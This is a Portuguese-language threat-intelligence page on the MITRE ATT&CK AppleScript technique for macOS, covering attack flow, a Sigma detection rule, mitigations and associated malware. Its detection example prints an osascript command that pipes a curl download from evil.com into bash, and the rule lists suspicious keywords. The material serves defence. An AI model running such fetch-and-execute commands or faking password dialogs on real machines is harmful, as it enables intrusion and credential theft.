# T1059.002 - AppleScript
## Técnica Pai
Esta é uma sub-técnica de [[t1059-command-and-scripting-interpreter|T1059 - Command and Scripting Interpreter]].
## Descrição
AppleScript é uma linguagem de script nativa do macOS criada pela Apple para automatizar tarefas e controlar aplicações por meio de mensagens chamadas AppleEvents. Adversários abusam do AppleScript para executar ações maliciosas no sistema de forma programática - aproveitando uma linguagem que é parte integrante do sistema operacional e, portanto, frequentemente ignorada por soluções de segurança tradicionais.
Os scripts podem ser executados de várias formas: via linha de comando com `osascript /caminho/para/script.scpt` ou `osascript -e "script aqui"`, por regras de e-mail no Mail.app, alarmes no Calendar.app, fluxos de trabalho no Automator, ou até mesmo embutidos em binários mach-O que chamam as APIs nativas `NSAppleScript` ou `OSAScript`. Essa versatilidade torna o AppleScript um vetor de execução difícil de monitorar de forma centralizada.
A partir do macOS 10.10 (Yosemite), o AppleScript ganhou a capacidade de chamar APIs nativas do sistema diretamente - o que antes exigia compilar e executar código em C ou Swift. Isso permite que scripts em texto puro realizem ações de nível de sistema, como criar conexões de rede, manipular processos, apresentar caixas de diálogo falsas para roubo de credenciais, e até lançar shells reversos em combinação com [[t1059-006-python|Python]] ou outros interpretadores disponíveis no macOS. A técnica também é usada para interagir com sessões SSH abertas e executar comandos em máquinas remotas.
**Contexto Brasil/LATAM:** Embora o macOS tenha participação de mercado menor que o Windows na região, ele é predominante em empresas de tecnologia, agências de publicidade, startups, ambientes corporativos premium e escritórios de advocacia e finanças. Campanhas direcionadas a usuários de Mac no Brasil têm usado AppleScript embutido em adware e malware de engenharia social - em especial loaders como [[s0482-bundlore|Bundlore]] e stealers como [[s1153-cuckoo-stealer|Cuckoo Stealer]] - para executar payloads após comprometimento inicial via download malicioso ou phishing.
## Attack Flow
```mermaid
graph TB
A[Acesso inicial<br/>Phishing, download malicioso, app trojanizado] --> B[Entrega do payload<br/>script AppleScript embutido ou solto em disco]
B --> C[T1059.002 - APPLESCRIPT<br/>osascript -e / NSAppleScript / .scpt via Automator]
C --> D1[Caixa de diálogo falsa<br/>roubo de senha do usuário]
C --> D2[Download de segundo estágio<br/>via curl ou Python]
C --> D3[Interação com app aberto<br/>manipulação de dados ou SSH]
D1 --> E[Escalada de privilégio<br/>credencial capturada]
D2 --> E
D3 --> F[Movimentação lateral<br/>por sessão SSH existente]
```
## Como Funciona
1. **Preparação** - O adversário prepara um script AppleScript que realiza a ação desejada: abrir um shell reverso, exibir um prompt de senha falso, interagir com um app específico ou baixar um payload de segundo estágio. O script pode ser distribuído como arquivo `.scpt`, `.applescript` ou embutido como string em um binário ou instalador.
2. **Execução** - O script é executado via `osascript` na linha de comando, chamado por outro malware como um stager, acionado por uma regra de automação (Mail, Calendar, Automator) ou invocado por um binário que usa as APIs `NSAppleScript` ou `OSAScript` - sem necessáriamente chamar `osascript` no processo, dificultando a detecção baseada em nome de processo.
3. **Pós-execução** - Dependendo do objetivo, o adversário captura credenciais exibidas em prompts falsos, executa comandos via shell, exfiltra dados, ou usa a sessão SSH aberta para se mover lateralmente. O malware [[s0281-dok|Dok]] e o [[s0595-thiefquest|ThiefQuest]] são exemplos conhecidos que usaram AppleScript para exfiltração e persistência em campanhas reais.
**Exemplo de artefato de detecção:**
```bash
# Execução suspeita de osascript fora de contexto administrativo:
# process: osascript
# args: -e "do shell script \"curl -s http://evil.com/payload | bash\""
#
# Ou invocação via NSAppleScript em binário não assinado:
# process: <binary não identificado>
# dylib: AppleScript.framework carregado em memória
```
## Detecção
**Fontes de dados:** Unified Log do macOS (`log stream --predicaté 'process == "osascript"'`), logs do Endpoint Security Framework (ESF), auditoria de processos via OpenBSM (auditd), eventos de EDR macOS, Console.app com filtros de processo.
```yaml
title: Execução Suspeita de AppleScript via osascript
id: c9e4f5a6-1b23-4d56-b7c8-e9f0a1b2c345
status: experimental
description: >
Detecta execuções de osascript com argumentos inline (-e) em contexto
suspeito, padrão comum em abuso de AppleScript para execução de comandos
de shell, download de payloads ou apresentação de prompts falsos.
logsource:
category: process_creation
product: macos
detection:
selection:
Image|endswith: '/osascript'
CommandLine|contains:
- '-e'
suspicious_content:
CommandLine|contains:
- 'do shell script'
- 'curl'
- 'bash'
- 'python'
- 'password'
- 'keystroke'
filter_admin:
ParentImage|startswith:
- '/Applications/'
- '/System/'
condition: selection and suspicious_content and not filter_admin
falsepositives:
- Scripts de automação legítimos de TI (Jámf, Munki, scripts de deploy)
- Desenvolvedores testando automação local
level: high
tags:
- attack.execution
- attack.t1059.002
```
## Mitigação
| Mitigação | Recomendação Prática |
|-----------|---------------------|
| [[m1045-code-signing\|M1045 - Code Signing]] | Exigir que scripts AppleScript e aplicações sejam assinados com certificado válido da Apple Developer ID. Habilitar o Gatekeeper no modo mais restritivo (`spctl --master-enable`) para bloquear scripts não assinados. Em ambientes corporativos gerenciados (MDM/Jámf), usar perfis de configuração para impedir execução de scripts de fontes desconhecidas. |
| [[m1038-execution-prevention\|M1038 - Execution Prevention]] | Monitorar e alertar sobre execuções de `osascript` com argumentos inline (`-e`) fora de jánelas de manutenção conhecidas. Usar soluções de EDR com suporte a macOS para monitorar carregamento do `AppleScript.framework` em processos não assinados. Implementar política de Application Control para restringir quais processos podem invocar `osascript`. |
## Software Associado
- [[s0281-dok|Dok]] - trojan macOS que usou AppleScript para interceptar tráfego HTTPS e exibir prompts falsos
- [[s0595-thiefquest|ThiefQuest]] - ransomware/spyware macOS que usou AppleScript para exfiltração e persistência
- [[s0482-bundlore|Bundlore]] - adware/loader macOS que usa AppleScript para interagir com o navegador e instalar extensões maliciosas
- [[s1153-cuckoo-stealer|Cuckoo Stealer]] - stealer macOS ativo em 2024 que usa AppleScript para capturar credenciais via prompts falsos
- [[s1048-macososaminer|macOS.OSAMiner]] - malware de cryptomining que usa AppleScript compilado para ofuscar e persistir
## Referências
*Fonte: [MITRE ATT&CK - T1059.002](https://attack.mitre.org/techniques/T1059/002)*